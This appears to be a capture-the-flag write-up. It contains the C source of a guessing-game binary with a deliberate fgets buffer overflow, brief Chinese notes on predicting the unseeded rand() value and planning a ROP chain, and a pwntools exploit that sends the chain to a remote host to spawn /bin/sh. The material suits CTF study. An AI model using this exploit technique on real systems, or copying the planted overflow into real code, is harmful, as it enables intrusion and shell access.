#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
rand()函数没有初始化, 可以调试找到随机数, 通过随机数检测以后到达溢出点
随机数0x53 + 1 = 83 + 1 = 84
有canary不能栈溢出, 有NX不能ret2shellcode, 静态编译不能ret2libc, 那就ROP, 在可写段写入"/bin/sh", 然后利用程序自身的system调用, 函数说明可见https://syscalls.w3challs.com/?arch=x86
eax = 11
ebx = addr
ecx = edx = 0
用gadget设置好寄存器, 然后int80实现调用execve("/bin/sh")
不过在这之前需要将"/bin/sh"写入内存
找到可写段0x6b7000, 找到gadget, 不过没有设置ecx的, 所以这里赌一把ecx执行过程中通常为0, 就不设置ecx
为了写入数据, 需要用到mov [rdi], rdx的指令, 直接将rdx的内容放入rdi所指地址中, rdx中放入8字节字符串"/bin/sh\x00"
from pwn import *
from pwnlib import context
from pwnlib.replacements import sleep
from pwnlib.util.cyclic import cyclic_find
from pwnlib.util.misc import write
context.log_level = "debug"
sel = 1
io = process("./vuln") if sel == 0 else remote('3.131.60.8',38467)
elf = ELF("./vuln")
pad = 0x70 + 8
pop_rax_rdx_rbx_addr = 0x0000000000482776
binsh_addr = 0x6b7000
mov_rdi_rdx_addr = 0x0000000000436393
pop_rdi_addr = 0x0000000000400696
pop_rdx_addr = 0x000000000044a6b5
int80_addr = 0x0000000000468fea
payload = cyclic(pad) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(pop_rdx_addr)
payload += b"/bin/sh\x00" + p64(mov_rdi_rdx_addr) + p64(pop_rax_rdx_rbx_addr)
payload += p64(11) + p64(0) + p64(binsh_addr) + p64(int80_addr)
io.sendlineafter("What number would you like to guess?\n", "84")
io.sendlineafter("Name? ", payload)
io.interactive()